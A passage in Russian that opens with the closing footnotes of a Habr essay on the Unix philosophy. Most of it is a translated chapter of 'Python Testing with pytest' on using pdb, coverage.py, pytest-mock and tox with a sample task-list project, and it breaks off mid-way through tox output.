Тот же clang просто более функционален, чем любой компилятор, который существовал в 1979 году, или даже все компиляторы, которые существовали в 1979 году вместе взятые, независимо от того, выполнен он монолитной командой или тысячами меньших команд. Легко сказать, что в 1979 году всё было проще и что мы, современные программисты, сбились с пути. Но в реальности трудно предложить дизайн, который намного проще и будет действительно всеми принят. Невозможно, чтобы такой дизайн мог сохранить всю существующую функциональность и конфигурируемость и быть таким же простым, как что-то из 1979 года. [[вернуться]](#4_4)
5. С момента своего создания утилита curl перешла от поддержки трёх протоколов к 40. Означает ли это, что она «делает 40 вещей», и философия Unix требует разделить её на 40 отдельных команд? Зависит от того, кого спросить. Если бы каждый протокол был собственной командой, созданной и поддерживаемой другим человеком, у нас возник бы такой же бардак, как с командами. Несогласованные параметры командной строки, несогласованные форматы вывода, несмотря на то, что всё это текстовые потоки и т. д. Это приблизит нас к простоте, за которую ратует Макилрой? Зависит от того, кого спросить. [[вернуться]](#5_5) | https://habr.com/ru/post/499090/ | null | ru | null |
# Python Testing с pytest. Использование pytest с другими инструментами, ГЛАВА 7
[Вернуться](https://habr.com/ru/post/448796/)
*Обычно pytest используется не самостоятельно, а в среде тестирования с другими инструментами. В этой главе рассматриваются другие инструменты, которые часто используются в сочетании с pytest для эффективного и результативного тестирования. Хотя это отнюдь не исчерпывающий список, обсуждаемые здесь инструменты дадут вам представление о вкусе силы смешивания pytest с другими инструментами.*
Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.
> Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по [ссылке](https://pragprog.com/titles/bopytest/source_code "https://pragprog.com/titles/bopytest/source_code") на веб-странице книги в [pragprog.com](https://pragprog.com/titles/bopytest "https://pragprog.com/titles/bopytest"). Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования для проверки своего собственного проекта (руки у вас развязаны!), вы должны перейти на веб-страницу книги и скачать работу. Там же, на веб-странице книги есть ссылка для сообщений [errata](https://pragprog.com/titles/bopytest/errata "https://pragprog.com/titles/bopytest/errata") и [дискуссионный форум](https://forums.pragprog.com/forums/438 "https://forums.pragprog.com/forums/438").
Под спойлером приведен список статей этой серии.
**Оглавление**
* [**Введение**](https://habr.com/ru/post/426699/)
* [**Глава 1: Начало работы с pytest**](https://habr.com/ru/post/448782/)
* [**Глава 2: Написание тестовых функций**](https://habr.com/ru/post/448788/)
* [**Глава 3: Pytest Fixtures**](https://habr.com/ru/post/448786/)
* [**Глава 4: Builtin Fixtures**](https://habr.com/ru/post/448792/)
* [**Глава 5: Плагины**](https://habr.com/ru/post/448794/)
* [**Глава 6: Конфигурация**](https://habr.com/ru/post/448796/)
* [**Глава 7: Использование pytest с другими инструментами**](Эта статья)(<https://habr.com/ru/post/448798/>)
pdb: Debugging Test Failures
----------------------------
Модуль `pdb` является отладчиком Python в стандартной библиотеке. Вы используете `--pdb`, чтобы pytest начал сеанс отладки в точке сбоя. Давайте посмотрим на `pdb` в действии в контексте проекта Tasks.
В "Параметризации Фикстур" на странице 64 мы оставили проект Tasks с несколькими ошибками:
```
$ cd /path/to/code/ch3/c/tasks_proj
$ pytest --tb=no -q
.........................................FF.FFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF...........
42 failed, 54 passed in 4.74 seconds
```
Прежде чем мы рассмотрим, как `pdb` может помочь нам отладить этот тест, давайте взглянем на доступные параметры pytest, чтобы ускорить отладку ошибок теста, которые мы впервые рассмотрели в разделе "Использование Опций" на стр.9:
* `--tb=[auto/long/short/line/native/no]`: Управляет стилем трассировки.
* `-v / --verbose`: Отображает все имена тестов, пройденных или не пройденных.
* `-l / --showlocals`: Отображает локальные переменные рядом с трассировкой стека.
* `-lf / --last-failed`: Запускает только тесты, которые завершились неудачей.
* `-x / --exitfirst`: Останавливает тестовую сессию при первом сбое.
* `--pdb`: Запускает интерактивный сеанс отладки в точке сбоя.
---
*Installing MongoDB*
---
Как упомянуто в главе 3, "Pytest Fixtures", на странице 49, для запуска тестов MongoDB требуется установка `MongoDB` и `pymongo`.
Я тестировал версию Community Server, найденную по адресу <https://www.mongodb.com/download-center>. pymongo устанавливается с `pip`:`pip install pymongo`. Однако это последний пример в книге, где используется MongoDB. Чтобы опробовать отладчик без использования MongoDB, можно выполнить команды pytest из `code/ch2/`, так как этот каталог также содержит несколько неудачных тестов.
---
Мы просто запустили тесты из `code/ch3/c`, чтобы убедиться, что некоторые из них не работают. Мы не видели tracebacks или имен тестов, потому что `--tb=no` отключает трассировку, и у нас не было включено `--verbose`. Давайте повторим ошибки (не более трех) с подробным текстом:
```
$ pytest --tb=no --verbose --lf --maxfail=3
============================= test session starts =============================
collected 96 items / 52 deselected
run-last-failure: rerun previous 44 failures
tests/func/test_add.py::test_add_returns_valid_id[mongo] ERROR [ 2%]
tests/func/test_add.py::test_added_task_has_id_set[mongo] ERROR [ 4%]
tests/func/test_add.py::test_add_increases_count[mongo] ERROR [ 6%]
=================== 52 deselected, 3 error in 0.72 seconds ====================
```
Теперь мы знаем, какие тесты провалились. Давайте рассмотрим только один из них, используя `-x`, включив трассировку, не используя `--tb=no`, и показывая локальные переменные с `-l`:
```
$ pytest -v --lf -l -x
===================== test session starts ======================
run-last-failure: rerun last 42 failures
collected 96 items
tests/func/test_add.py::test_add_returns_valid_id[mongo] FAILED
=========================== FAILURES ===========================
_______________ test_add_returns_valid_id[mongo] _______________
tasks_db = None
def test_add_returns_valid_id(tasks_db):
"""tasks.add() should return an integer."""
# GIVEN an initialized tasks db
# WHEN a new task is added
# THEN returned task\_id is of type int
new\_task = Task('do something')
task\_id = tasks.add(new\_task)
> assert isinstance(task\_id, int)
E AssertionError: assert False
E + where False = isinstance(ObjectId('59783baf8204177f24cb1b68'), int)
new\_task = Task(summary='do something', owner=None, done=False, id=None)
task\_id = ObjectId('59783baf8204177f24cb1b68')
tasks\_db = None
tests/func/test\_add.py:16: AssertionError
!!!!!!!!!!!! Interrupted: stopping after 1 failures !!!!!!!!!!!!
===================== 54 tests deselected ======================
=========== 1 failed, 54 deselected in 2.47 seconds ============
```
Довольно часто этого достаточно, чтобы понять почему случился провал теста. В этом конкретном случае довольно ясно, что `task_id` не является целым числом—это экземпляр ObjectId. ObjectId — это тип, используемый MongoDB для идентификаторов объектов в базе данных. Мое намерение со слоем `tasksdb_pymongo.py` было скрыть определенные детали реализации MongoDB от остальной части системы. Понятно, что в этом случае это не сработало.
Тем не менее, мы хотим посмотреть, как использовать pdb с pytest, так что давайте представим, что неясно, почему этот тест не удался. Мы можем сделать так, чтобы pytest запустил сеанс отладки и запустил нас прямо в точке сбоя с помощью `--pdb`:
```
$ pytest -v --lf -x --pdb
===================== test session starts ======================
run-last-failure: rerun last 42 failures
collected 96 items
tests/func/test_add.py::test_add_returns_valid_id[mongo] FAILED
>>>>>>>>>>>>>>>>>>>>>>>>>> traceback >>>>>>>>>>>>>>>>>>>>>>>>>>>
tasks_db = None
def test_add_returns_valid_id(tasks_db):
"""tasks.add() should return an integer."""
# GIVEN an initialized tasks db
# WHEN a new task is added
# THEN returned task\_id is of type int
new\_task = Task('do something')
task\_id = tasks.add(new\_task)
> assert isinstance(task\_id, int)
E AssertionError: assert False
E + where False = isinstance(ObjectId('59783bf48204177f2a786893'), int)
tests/func/test\_add.py:16: AssertionError
>>>>>>>>>>>>>>>>>>>>>>>>> entering PDB >>>>>>>>>>>>>>>>>>>>>>>>>
> /path/to/code/ch3/c/tasks\_proj/tests/func/test\_add.py(16)
> test\_add\_returns\_valid\_id()
-> assert isinstance(task\_id, int)
(Pdb)
```
Теперь, когда мы находимся в приглашении (Pdb), у нас есть доступ ко всем интерактивным функциям отладки pdb. При просмотре сбоев я регулярно использую эти команды:
* `p/print expr`: Печатает значение exp.
* `pp expr`: Pretty печатает значение expr.
* `l/list`: Перечисляет точку сбоя и пять строк кода выше и ниже.
* `l/list begin,end`: Перечисляет конкретные номера строк.
* `a/args`: Печатает аргументы текущей функции с их значениями.
* `u/up`: Перемещается на один уровень вверх по трассе стека.
* `d/down`: Перемещается вниз на один уровень в трассировке стека.
* `q/quit`: Завершает сеанс отладки.
Другие навигационные команды, такие как step и next, не очень полезны, так как мы сидим прямо в операторе assert. Вы также можете просто ввести имена переменных и получить значения.
Можно использовать `p/print expr` аналогично параметру `-l/--showlocals` для просмотра значений в функции:
```
(Pdb) p new_task
Task(summary='do something', owner=None, done=False, id=None)
(Pdb) p task_id
ObjectId('59783bf48204177f2a786893')
(Pdb)
```
Теперь можно выйти из отладчика и продолжить тестирование.
```
(Pdb) q
!!!!!!!!!!!! Interrupted: stopping after 1 failures !!!!!!!!!!!!
===================== 54 tests deselected ======================
========== 1 failed, 54 deselected in 123.40 seconds ===========
```
Если бы мы не использовали `-х`, pytest бы снова открыл Pdb в следующем теста. Дополнительные сведения об использовании модуля pdb доступны в [документации Python](https://docs.python.org/3/library/pdb.html).
Coverage.py: Определение объема тестируемого кода
-------------------------------------------------
Покрытие кода является показателем того, какой процент тестируемого кода тестируется набором тестов. Когда вы запускаете тесты для проекта «Tasks», некоторые функции «Tasks» выполняются с каждым тестом, но не со всеми.
Инструменты покрытия кода отлично подходят для того, чтобы сообщить вам, какие части системы полностью пропущены тестами.
`Coverage.py` является предпочтительным инструментом покрытия Python, который измеряет покрытие кода.
Вы будете использовать его для проверки кода проекта Tasks с помощью pytest.
Что бы использовать `coverage.py` нужно его установить. Не помешает установить плагин под названием `pytest-cov`, который позволит вам вызывать `coverage.py` от pytest с некоторыми дополнительными опциями pytest. Поскольку `coverage` является одной из зависимостей `pytest-cov`, достаточно установить `pytest-cov` и он притянет за собой `coverage.py`:
```
$ pip install pytest-cov
Collecting pytest-cov
Using cached pytest_cov-2.5.1-py2.py3-none-any.whl
Collecting coverage>=3.7.1 (from pytest-cov)
Using cached coverage-4.4.1-cp36-cp36m-macosx_10_10_x86
...
Installing collected packages: coverage, pytest-cov
Successfully installed coverage-4.4.1 pytest-cov-2.5.1
```
Давайте запустим отчет о покрытии для второй версии задач. Если у вас все еще установлена первая версия проекта Tasks, удалите ее и установите версию 2:
```
$ pip uninstall tasks
Uninstalling tasks-0.1.0:
/path/to/venv/bin/tasks
/path/to/venv/lib/python3.6/site-packages/tasks.egg-link
Proceed (y/n)? y
Successfully uninstalled tasks-0.1.0
$ cd /path/to/code/ch7/tasks_proj_v2
$ pip install -e .
Obtaining file:///path/to/code/ch7/tasks_proj_v2
...
Installing collected packages: tasks
Running setup.py develop for tasks
Successfully installed tasks
$ pip list
...
tasks (0.1.1, /path/to/code/ch7/tasks_proj_v2/src)
...
```
Теперь, когда установлена следующая версия задач, можно запустить отчет о базовом покрытии:
```
$ cd /path/to/code/ch7/tasks_proj_v2
$ pytest --cov=src
===================== test session starts ======================
plugins: mock-1.6.2, cov-2.5.1
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....
---------- coverage: platform darwin, python 3.6.2-final-0 -----------
Name Stmts Miss Cover
--------------------------------------------------
src\tasks\__init__.py 2 0 100%
src\tasks\api.py 79 22 72%
src\tasks\cli.py 45 14 69%
src\tasks\config.py 18 12 33%
src\tasks\tasksdb_pymongo.py 74 74 0%
src\tasks\tasksdb_tinydb.py 32 4 88%
--------------------------------------------------
TOTAL 250 126 50%
================== 62 passed in 0.47 seconds ===================
```
Поскольку текущий каталог является `tasks_proj_v2`, а тестируемый исходный код находится в src, добавление опции `--cov=src` создает отчет о покрытии только для этого тестируемого каталога.
Как видите, некоторые файлы имеют довольно низкий и даже 0%, охват. Это полезные напоминания: `tasksdb_pymongo.py` 0%, потому что мы отключили тестирование для MongoDB в этой версии. Некоторые из них довольно низкие. Проект, безусловно, должен будет поставить тесты для всех этих областей, прежде чем он будет готов к прайм-тайм.
Я полагаю, что несколько файлов имеют более высокий процент покрытия: `api.py` и `tasksdb_tinydb.py`. Давайте посмотрим на `tasksdb_tinydb.py` и посмотрим, чего не хватает. Думаю, что лучший способ сделать это — использовать отчеты HTML.
Если вы снова запустите `coverage.py` с параметром `--cov-report=html`, будет создан отчет в формате HTML:
```
$ pytest --cov=src --cov-report=html
===================== test session starts ======================
plugins: mock-1.6.2, cov-2.5.1
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....
---------- coverage: platform darwin, python 3.6.2-final-0 -----------
Coverage HTML written to dir htmlcov
================== 62 passed in 0.45 seconds ===================
```
Затем можно открыть `htmlcov/index.html` в браузере, который показывает вывод на следующем экране:
Щелчок по `tasksdb_tinydb.py` покажет отчет для одного файла. В верхней части отчета отображается процент покрытые строки, плюс сколько строк охвачено и сколько нет, как показано на следующем экране:
Прокручивая вниз, вы можете увидеть пропущенные строки, как показано на следующем экране:
Даже если этот экран не является полной страницей для этого файла, этого достаточно, чтобы сказать нам, что:
1. Мы не тестируем `list_tasks()` с установленным владельцем.
2. Мы не тестируем `update()` или `delete()`.
3. Возможно, мы недостаточно тщательно тестируем `unique_id()`.
Отлично. Мы можем включить их в наш список TO-DO по тестированию вместе с тестированием системы конфигурации.
Хотя инструменты покрытия кода чрезвычайно полезны, стремление к 100% покрытию может быть опасным. Когда вы видите код, который не тестируется, это может означать, что необходим тест. Но это также может означать, что есть некоторые функции системы, которые не нужны и могут быть удалены. Как и все инструменты разработки программного обеспечения, анализ покрытия кода не заменяет мышления.
Более подробную информацию можно найти в [`документации coverage.py`](https://coverage.readthedocs.io) и [`pytest-cov`](https://pytest-cov.readthedocs.io).
mock: Подмена частей системы
----------------------------
Пакет mock используется для замены частей системы, чтобы изолировать части тестируемого кода от остальной части системы. Mock — объекты иногда называют тестовыми двойниками, шпионами, подделками или заглушками.
Между собственной фикстурой pytest monkeypatch (описанной в разделе Использование monkeypatch на стр. 85) и mock у вас должна быть вся необходимая двойная функциональность теста.
> Внимание! Mock-и очень странные
>
> Если вы впервый раз столкнулись с тестовыми двойниками, такими как mocks, stubs, и spies, будьте готовы! Это будет очень странно очень быстро, забавно, хотя и очень впечатляюще.
Пакет `mock` поставляется стандартной библиотекой Python, как `unittest.mock` начиная с Python 3.3. В более ранних версиях он доступен в виде отдельного пакета, устанавливаемого через PyPI. Это означает, что вы можете использовать версию `mock` PyPI с Python 2.6 до последней версии Python и получить ту же функциональность, что и в последнем `mock` Python. Однако для использования с pytest плагин под названием `pytest-mock` имеет некоторые особенности, которые делают его моим предпочтительным интерфейсом для mock-системы.
Для проекта Tasks мы будем использовать `mock`, чтобы помочь нам протестировать интерфейс командной строки. В Coverage.py: определяя, сколько кода тестируется, на стр. 129 вы увидели, что наш файл `cli.py` вообще не тестировался. Мы начнем исправлять это сейчас. Но давайте сначала поговорим о стратегии.
Первым решением в проекте Tasks было выполнение большей части тестирования функциональности через `api.py`. Поэтому разумным решением является то, что тестирование командной строки не обязательно должно быть полным функциональным тестированием. Мы можем быть уверены, что система будет работать через CLI, если мы будем мокать уровень API во время тестирования CLI. Это также удобное решение, позволяющее нам посмотреть на моки в этом разделе.
Реализация CLI Tasks использует сторонний пакет интерфейса командной строки [Click](https://click.palletsprojects.com/en/7.x/). Есть много альтернатив для реализации интерфейса командной строки, в том числе модуль, встроенный в Python `argparse`. Одна из причин, по которой я выбрал Click, заключается в том, что он включает в себя тестовый движок, который помогает нам тестировать приложения Click. Однако код в `cli.py`, хотя, как мы надеемся, типичен для приложений Click, не очевиден.
Давайте притормозим и установим 3-ю версию Tasks:
```
$ cd /path/to/code/
$ pip install -e ch7/tasks_proj_v2
...
Successfully installed tasks
```
В оставшейся части этого раздела вы разработаете несколько тестов для проверки функциональности «list».
Давайте посмотрим его в действии, чтобы понять, что мы собираемся проверить:
> ***Прим.переводчика:*** В случае использования платформы Windows, я столкнулся с несколькими проблемами при испытании ниже приведенного сеанса.
>
> 1. Должна быть создана папка для базы с именем **`tasks_db`** в папке вашего пользователя. Например `c:\Users\User_1\tasks_db\`
>
> Иначе, получим -->> FileNotFoundError: [Errno 2] No such file or directory: 'c:\Users\User\_1//tasks\_db//tasks\_db.json'
> 2. Используйте двойные кавычки вместо апострофа. Иначе получите ошибку
>
> 'do something great'
>
> Usage: tasks add [OPTIONS] SUMMARY
>
> Try "tasks add -h" for help.
>
>
>
> Error: Got unexpected extra arguments (something great')
>
>
>
>
```
$ tasks list
ID owner done summary
-- ----- ---- -------
$ tasks add 'do something great'
$ tasks add "repeat" -o Brian
$ tasks add "again and again" --owner Okken
$ tasks list
ID owner done summary
-- ----- ---- -------
1 False do something great
2 Brian False repeat
3 Okken False again and again
$ tasks list -o Brian
ID owner done summary
-- ----- ---- -------
2 Brian False repeat
$ tasks list --owner Brian
ID owner done summary
-- ----- ---- -------
2 Brian False repeat
```
Выглядит довольно просто. Команда `tasks list` выводит список всех задач под заголовком.
Заголовок печатается, даже если список пуст. Команда вводит на экран только данные от одного владельца, если используются `-o` или `--owner`. И как мы это проверим? Способов много, но мы собираемся использовать мОки.
Тесты, которые используют мОки, обязательно являются *тестами белого ящика*, и мы должны заглянуть в код, чтобы решить, что и где мы будем мОкать. Главная точка входа находится здесь:
> ch7/tasks\_proj\_v2/src/tasks/cli.py
```
if __name__ == '__main__':
tasks_cli()
```
Это просто вызов `tasks_cli()`:
> ch7/tasks\_proj\_v2/src/tasks/cli.py
```
@click.group(context_settings={'help_option_names': ['-h', '--help']})
@click.version_option(version='0.1.1')
def tasks_cli():
"""Run the tasks application."""
pass
```
Очевидно? Нет. Но подождите, это становится хорошим (или плохим, в зависимости от вашей точки зрения). Вот одна из команд-команда `list`:
> ch7/tasks\_proj\_v2/src/tasks/cli.py
```
@tasks_cli.command(name="list", help="list tasks")
@click.option('-o', '--owner', default=None,
help='list tasks with this owner')
def list_tasks(owner):
"""
Список задач в БД.
Если указан владелец, список задач только для этого владельцем.
"""
formatstr = "{: >4} {: >10} {: >5} {}"
print(formatstr.format('ID', 'owner', 'done', 'summary'))
print(formatstr.format('--', '-----', '----', '-------'))
with _tasks_db():
for t in tasks.list_tasks(owner):
done = 'True' if t.done else 'False'
owner = '' if t.owner is None else t.owner
print(formatstr.format(
t.id, owner, done, t.summary))
```
Когда вы привыкнете писать код Click, то убедитесь, что этот код не так уж плох. Я не собираюсь объяснять здесь, что и как в этой функции работает, так как разработка кода командной строки не является фокусом книги; однако, хотя я почти абсолютно уверен, что у меня есть этот правильный код, всё равно, всегда есть много места для человеческой ошибки. Вот почему важен хороший набор автоматических тестов, чтобы убедиться, что эта функция работает правильно.
Эта функция `list_tasks(owner)` зависит от нескольких других функций: `tasks_db()`, которая является менеджером контекста, и `tasks.list_tasks(owner)`, которая является функцией API.
Мы собираемся использовать `mock`, чтобы поставить поддельные функции на место для `tasks_db()` и `tasks.list_tasks()`. Затем мы можем вызвать метод `list_tasks` через интерфейс командной строки и убедиться, что он вызывает функцию `tasks.list_tasks()`, которая работает правильно и корректно обрабатывает возвращаемое значение.
Чтобы заглушить `tasks_db()`, давайте посмотрим на реальную реализацию:
> ch7/tasks\_proj\_v2/src/tasks/cli.py
```
@contextmanager
def _tasks_db():
config = tasks.config.get_config()
tasks.start_tasks_db(config.db_path, config.db_type)
yield
tasks.stop_tasks_db()
```
Функция `tasks_db()` — это менеджер контекста, который получает конфигурацию из `tasks.config.get_config()`, другой внешней зависимости, и использует конфигурацию для установления соединения с базой данных. `yield` передает управление блоку `list_tasks()`, и после того, как все сделано, соединение с базой данных прекращается.
Для того, чтобы просто протестировать поведение CLI до момента вызова функций API, нам не нужно подключение к реальной базе данных. Поэтому мы можем заменить менеджер контекста простой заглушкой:
> ch7/tasks\_proj\_v2/tests/unit/test\_cli.py
```
from click.testing import CliRunner
from contextlib import contextmanager
import pytest
from tasks.api import Task
import tasks.cli
import tasks.config
@contextmanager
def stub_tasks_db():
yield
```
Этот импорт предназначен для тестов. Единственный импорт, необходимый для заглушки — `from contextlib import contextmanager`.
Мы будем использовать `mock`, чтобы заменить настоящий менеджер контекста нашей заглушкой. На самом деле, мы будем использовать `mocker`, который является фикстурой плагина `pytest-mock`. Давайте посмотрим на реальный тест. Вот тест, который вызывает список задач :
> ch7/tasks\_proj\_v2/tests/unit/test\_cli.py
```
def test_list_no_args(mocker):
mocker.patch.object(tasks.cli, '_tasks_db', new=stub_tasks_db)
mocker.patch.object(tasks.cli.tasks, 'list_tasks', return_value=[])
runner = CliRunner()
runner.invoke(tasks.cli.tasks_cli, ['list'])
tasks.cli.tasks.list_tasks.assert_called_once_with(None)
```
Фикстура `mocker` предоставляется `pytest-mock`-ом в качестве удобного интерфейса для `unittest.mock`. Первая строка,`mocker.patch.object(tasks.cli, 'tasks_db', new=stub_tasks_db)`, заменяет менеджер контекста `tasks_db()` заглушкой, которая ничего не делает.
Вторая строка, `mocker.patch.object(tasks.cli.tasks, 'list_tasks', return_value=[])`, заменяет любые вызовы `tasks.list_tasks()` из `tasks.cli` на объект MagicMock по умолчанию возвращаемым значением пустого списка. Мы можем использовать этот объект позже, чтобы увидеть, был ли он вызван правильно. Класс `MagicMock`-это гибкий подкласс `unittest.mock` с разумным поведением по умолчанию и возможностью указать возвращаемое значение, которое мы используем в этом примере. Классы `Mock` и `MagicMock` (и другие) используются для имитации интерфейса другого кода с помощью встроенных методов самоанализа, чтобы можно было спросить их, как они были вызваны.
Третья и четвертая строки `test_list_no_args()` используют Click `CliRunner`, чтобы сделать то же самое, что и вызов списка задач в командной строке.
Последняя строка использует макет объекта, чтобы убедиться, что вызов API был вызван правильно. Метод `assert_called_once_with()` является частью объектов `unittest.mock.Mock`, которые перечислены в [документации по Python](https://docs.python.org/dev/library/unittest.mock.html).
Давайте посмотрим на почти идентичную тестовую функцию, которая проверяет вывод:
> ch7/tasks\_proj\_v2/tests/unit/test\_cli.py
```
@pytest.fixture()
def no_db(mocker):
mocker.patch.object(tasks.cli, '_tasks_db', new=stub_tasks_db)
def test_list_print_empty(no_db, mocker):
mocker.patch.object(tasks.cli.tasks, 'list_tasks', return_value=[])
runner = CliRunner()
result = runner.invoke(tasks.cli.tasks_cli, ['list'])
expected_output = (" ID owner done summary\n"
" -- ----- ---- -------\n")
assert result.output == expected_output
```
На этот раз мы поместили фиктивную заглушку `tasks_db` в фикстуру `no_db`, чтобы её было легче использовать в будущих тестах. `tasks.list_tasks()` такой же, как и раньше. Однако, на этот раз, мы также проверяем выходные данные действия командной строки через `result.output` и ассертим равенство к ожидаемому результату `expected_output`.
Этот ассерт можно было бы поместить в первый тест `test_list_no_args`, тем самым мы могли бы устранить необходимость в двух тестах. Тем не менее, я меньше верю в свою способность получить правильный код CLI здесь, чем в другом коде, поэтому разделяю вопросы: «Правильно ли вызывается API?» и «Является ли вывод на печать правильным?» в двух тестах кажется целесообразным.
Остальные тесты для оценки функциональности `tasks list` не добавляют никаких новых концепций, но, возможно, глядя на некоторые из них, код станет легче понять:
> ch7/tasks\_proj\_v2/tests/unit/test\_cli.py
```
def test_list_print_many_items(no_db, mocker):
many_tasks = (
Task('write chapter', 'Brian', True, 1),
Task('edit chapter', 'Katie', False, 2),
Task('modify chapter', 'Brian', False, 3),
Task('finalize chapter', 'Katie', False, 4),
)
mocker.patch.object(tasks.cli.tasks, 'list_tasks',
return_value=many_tasks)
runner = CliRunner()
result = runner.invoke(tasks.cli.tasks_cli, ['list'])
expected_output = (" ID owner done summary\n"
" -- ----- ---- -------\n"
" 1 Brian True write chapter\n"
" 2 Katie False edit chapter\n"
" 3 Brian False modify chapter\n"
" 4 Katie False finalize chapter\n")
assert result.output == expected_output
def test_list_dash_o(no_db, mocker):
mocker.patch.object(tasks.cli.tasks, 'list_tasks')
runner = CliRunner()
runner.invoke(tasks.cli.tasks_cli, ['list', '-o', 'brian'])
tasks.cli.tasks.list_tasks.assert_called_once_with('brian')
def test_list_dash_dash_owner(no_db, mocker):
mocker.patch.object(tasks.cli.tasks, 'list_tasks')
runner = CliRunner()
runner.invoke(tasks.cli.tasks_cli, ['list', '--owner', 'okken'])
tasks.cli.tasks.list_tasks.assert_called_once_with('okken')
```
Давайте убедимся, что всё это работает:
```
$ cd /path/to/code/ch7/tasks_proj_v2
$ pytest -v tests/unit/test_cli.py
=================== test session starts ===================
plugins: mock-1.6.2, cov-2.5.1
collected 5 items
tests/unit/test_cli.py::test_list_no_args PASSED
tests/unit/test_cli.py::test_list_print_empty PASSED
tests/unit/test_cli.py::test_list_print_many_items PASSED
tests/unit/test_cli.py::test_list_dash_o PASSED
tests/unit/test_cli.py::test_list_dash_dash_owner PASSED
================ 5 passed in 0.06 seconds =================
```
Ура! Они проходят.
Это был чрезвычайно быстрый способ знакомства с использованием тестовых двойников и mocks. Если вы хотите использовать mocks в своем тестировании, я рекомендую вам прочитать о `unittest.mock` в документации стандартной библиотеки <https://docs.python.org/dev/library/unittest.mock.html> и о pytest-mock на [pypi.python.org](https://pypi.python.org/pypi/pytest-mock).
tox: Тестирование Различных Конфигураций
----------------------------------------
tox-это инструмент командной строки, который позволяет запускать полный набор тестов в нескольких средах. Мы собираемся использовать его для тестирования проекта Tasks в нескольких версиях Python. Однако tox не ограничивается только версиями Python. Вы можете использовать его для тестирования с различными конфигурациями зависимостей и различными конфигурациями для различных операционных систем.
В общих чертах, вот ментальная модель того, как работает tox:
tox использует `setup.py` файл для тестируемого пакета, чтобы создать установочный исходный дистрибутив вашего пакета. Это похоже на `tox.ini` для списка сред, а затем для каждой среды…
1. tox создает виртуальную среду в каталоге .tox.
2. tox pip устанавливает некоторые зависимости.
3. tox pip устанавливает ваш пакет из sdist на шаге 1.
4. tox запускает ваши тесты.
После того, как все среды протестированы, tox создаст отчёт с результатами.
Эти слова обретут больше смысла, когда вы увидите его в действии, поэтому давайте посмотрим, как изменить проект Tasks, чтобы использовать tox для тестирования Python 2.7 и 3.6. Я выбрал версии 2.7 и 3.6, так как они уже установлены в моей системе.
Если у вас установлены разные версии, измените строку envlist в соответствии с той версией, которую вы хотите или хотите установить.
Первое, что нам нужно сделать для проекта Tasks, — это добавить файл `tox.ini` на том же уровне, что и `setup.py` — верхний каталог проекта. Я также собираюсь переместить все, что находится в `pytest.ini`, в `tox.ini`.
Вот сокращенное расположение кода:
```
tasks_proj_v2/
├── ...
├── setup.py
├── tox.ini
├── src
│ └── tasks
│ ├── __init__.py
│ ├── api.py
│ └── ...
└── tests
├── conftest.py
├── func
│ ├── __init__.py
│ ├── test_add.py
│ └── ...
└── unit
├── __init__.py
├── test_task.py
└── ...
```
Теперь вот как выглядит файл `tox.ini`:
> ch7/tasks\_proj\_v2/tox.ini
```
# tox.ini , положить в тот же каталог, что и setup.py
```
```
[tox]
envlist = py27,py36
[testenv]
deps=pytest
commands=pytest
[pytest]
addopts = -rsxX -l --tb=short --strict
markers =
smoke: Run the smoke test test functions
get: Run the test functions that test tasks.get()
```
В `[tox]` у нас есть `envlist = py27, py36`. Это сокращение, позволяющее tox запускать наши тесты с использованием `python2.7` и `python3.6`.
Под `[testenv]` строка `deps = pytest` указывает tox, чтобы убедиться, что pytest установлен. Если у вас есть несколько тестовых зависимостей, вы можете поместить их в отдельные строки.
Вы также можете указать, какую версию использовать.
Строка `command = pytest` указывает tox запускать pytest в каждой среде.
В [pytest] мы можем поместить все, что мы обычно хотели бы поместить в `pytest.ini` для настройки pytest, как описано в Главе 6, Конфигурация, на странице 113. В этом случае `addopts` используется для включения дополнительной сводной информации для пропусков `xfails` и `xpasses` (-rsxX) и включить отображение локальных переменных в трассировке стека (-l). Он также по умолчанию использует сокращенные трассировки стека `(--tb = short)` и гарантирует, что все маркеры, используемые в тестах, будут объявлены первыми `(--strict)`. Раздел маркеров — то, где маркеры объявлены.
Перед запуском tox вы должны убедиться, что вы установили его:
> $ pip install tox
Это можно сделать в виртуальной среде.
Чтобы запустить tox, просто вызовите tox:
> $ cd /path/to/code/ch7/tasks\_proj\_v2
>
> $ tox
```
GLOB sdist-make: /path/to/code/ch7/tasks_proj_v2/setup.py
py27 create: /path/to/code/ch7/tasks_proj_v2/.tox/py27
py27 installdeps: pytest
py27 inst: /path/to/code/ch7/tasks_proj_v2/.tox/dist/tasks-0.1.1.zip
py27 installed: click==6.7,funcsigs==1.0.2,mock==2.0.0,
pbr==3.1.1,py==1.4.34,pytest==3.2.1,
pytest-mock==1.6.2,six==1.10.0,tasks==0.1.1,tinydb==3.4.0
py27 runtests: PYTHONHASHSEED='1311894089'
py27 runtests: commands[0] | pytest
================= test session starts ==================
plugins: mock-1.6.2
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....
============== 62 passed in 0.25 seconds ===============
py36 create: /path/to/code/ch7/tasks_proj_v2/.tox/py36
py36 installdeps: pytest
py36 inst: /path/to/code/ch7/tasks_proj_v2/.tox/dist/tasks-0.1.1.zip
py36 installed: click==6.7,py==1.4.34,pytest==3.2.1,
pytest-mock==1.6.2,six==1.10.0,tasks==0.1.1,tinydb==3.4.0
py36 runtests: PYTHONHASHSEED='1311894089'
py36 runtests: commands[0] | pytest
================= test session starts ==================
plugins: mock-1.6.2
collected 62 items
tests/func/test_add.py ...
tests/func/test_add_variety.py ............................
tests/func/test_add_variety2.py ............
tests/func/test_api_exceptions.py .........
tests/func/test_unique_id.py .
tests/unit/test_cli.py .....
tests/unit/test_task.py ....
